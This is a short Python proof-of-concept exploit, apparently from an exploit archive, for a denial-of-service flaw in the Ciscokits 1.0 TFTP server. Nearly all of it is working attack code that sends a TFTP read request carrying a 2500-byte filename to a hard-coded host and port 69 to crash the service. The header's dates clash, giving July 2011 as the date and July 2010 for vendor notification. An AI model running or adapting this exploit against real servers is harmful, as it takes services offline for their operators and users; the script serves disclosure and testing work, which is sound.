#!/usr/bin/python #Title: Ciscokits 1.0 TFTP Long Filename DoS #Author: Craig Freyman (@cd1zz) #Date: July 22, 2011 #Software Link: http://www.certificationkits.com/tftpserver/tftpserver.zip #Tested on: Windows XP SP3 #Vendor notified: July 22, 2010 - Vendor approved release of PoC on July 23, 2010. #Notes: When a long file name read request is made the CPU will spike #and within about 20 seconds the TFTP service will crash. import socket,sys,time host = '192.168.133.128' port = 69 try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except: print "socket() failed" sys.exit(1) crash = "\x41" * 2500 mode = "netascii" files = "a" print "File name READ crash" #seems to only work on a READ command = x01 pwned = "\x00\x01" + crash + "\0" + mode + "\0" s.sendto(pwned, (host, port)) time.sleep(2)